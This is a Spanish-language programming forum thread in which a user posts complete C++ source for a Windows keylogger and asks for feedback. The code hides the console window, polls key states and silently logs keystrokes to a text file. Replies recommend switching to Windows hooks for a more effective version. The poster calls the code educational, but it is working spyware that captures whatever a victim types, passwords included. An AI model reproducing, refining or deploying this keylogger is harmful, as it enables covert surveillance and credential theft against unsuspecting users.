Pues os enseño el codigo que he programado, basandome, en lo que he leído por Internet. Acepto críticas y consejos .
Ya se que faltan keys, pero este codigo es educativo y solo lo he programado para saber como funcionan.
Sin mas a añadir, os cuelgo el codigo:

#include <iostream>
#include <windows.h>
using namespace std;
 
 
char keys() {
	char c = '/';
	if (GetAsyncKeyState('A')) c = 'A';
	else if (GetAsyncKeyState('B')) c = 'B';
	else if (GetAsyncKeyState('C')) c = 'C';
	else if (GetAsyncKeyState('D')) c = 'D';
	else if (GetAsyncKeyState('E')) c = 'E';
	else if (GetAsyncKeyState('F')) c = 'F';
	else if (GetAsyncKeyState('G')) c = 'G';
	else if (GetAsyncKeyState('H')) c = 'H';
	else if (GetAsyncKeyState('I')) c = 'I';
	else if (GetAsyncKeyState('J')) c = 'J';
	else if (GetAsyncKeyState('K')) c = 'K';
	else if (GetAsyncKeyState('L')) c = 'L';
	else if (GetAsyncKeyState('M')) c = 'M';
	else if (GetAsyncKeyState('N')) c = 'N';
	else if (GetAsyncKeyState('O')) c = 'O';
	else if (GetAsyncKeyState('P')) c = 'P';
	else if (GetAsyncKeyState('Q')) c = 'Q';
	else if (GetAsyncKeyState('R')) c = 'R';
	else if (GetAsyncKeyState('S')) c = 'S';
	else if (GetAsyncKeyState('T')) c = 'T';
	else if (GetAsyncKeyState('U')) c = 'U';
	else if (GetAsyncKeyState('V')) c = 'V';
	else if (GetAsyncKeyState('W')) c = 'W';
	else if (GetAsyncKeyState('X')) c = 'X';
	else if (GetAsyncKeyState('Y')) c = 'Y';
	else if (GetAsyncKeyState('Z')) c = 'Z';
	else if (GetAsyncKeyState('1')) c = '1';
	else if (GetAsyncKeyState('2')) c = '2';
	else if (GetAsyncKeyState('3')) c = '3';
	else if (GetAsyncKeyState('4')) c = '4';
	else if (GetAsyncKeyState('5')) c = '5';
	else if (GetAsyncKeyState('6')) c = '6';
	else if (GetAsyncKeyState('7')) c = '7';
	else if (GetAsyncKeyState('8')) c = '8';
	else if (GetAsyncKeyState('9')) c = '9';
	else if (GetAsyncKeyState('0')) c = '0';
	else if (GetAsyncKeyState(VK_SHIFT)) c = '^';
	else if (GetAsyncKeyState(VK_ESCAPE)) c = 0x1B;
	else if (GetAsyncKeyState(VK_BACK)) c = ' ';
	return c;
}
 
int main() {
	FreeConsole();									//Esconde el terminal
	FILE *f;
	f = fopen("file.txt","w");							//Crea i abre un archivo
	char c = ' ';
	while(c != 0x1B) {
		c = keys();
		if (c != '/') {
			fprintf( f , "%c",c);						//Escribe el caracter en el archivo
			//cout << c;
		}
		Sleep(120);								//Interrumpe el programa durante 120 milisegundos
	}
	fclose(f);
	AllocConsole();									//Muestra el terminal
	cout << "FIN DE PROGRAMA :)" << endl;
}

Explico un poco el codigo y bueno, la idea principal.
La función mas importante(creo yo) es: GetAsyncKeyState();
Esta función devuelve un valor o otro depende de si has pulsado la tecla o no, entonces le pasas el Virtual-Key Code como parametro y
a partir de ahí te dice si has pulsado la tecla o no.

Y bueno, nose con los comentarios se entiende bien que hace cada cosa no?
Lo que si es una "guarrada" son las inicializaciones del char c; pero esque tenia que evitar que me copiara la misma tecla pulsada multiples veces.
Hay alguna otra forma?


Esto es todo!! Espero sus opiniones.

P.D: Tuve que poner la función sleep, porque las interrupciones del teclado actuan mas rapido que los dedos de mi mano y claro, alomejor
pulsaba una tecla y el pc detectaba que la pulsaba mas veces.


Muchas gracias!! 

Es mejor utilizar hooks, te ahorras mucho código y van mejor

Saludos

Me gusta la idea, pero no es nada portable, usar la librería Windows, evidentemente xDDD.

¿No hay alguna forma de usarlo con cabeceras estándar?

Keylogger using window hooks

Sí hay hooks en Java, pero te recomendaría utilizar C/C++ para hacerlo, ya sea por su sencillez (si dominas la API) y sobretodo porque hay muchísima más información en C/C++.


De nada

Saludos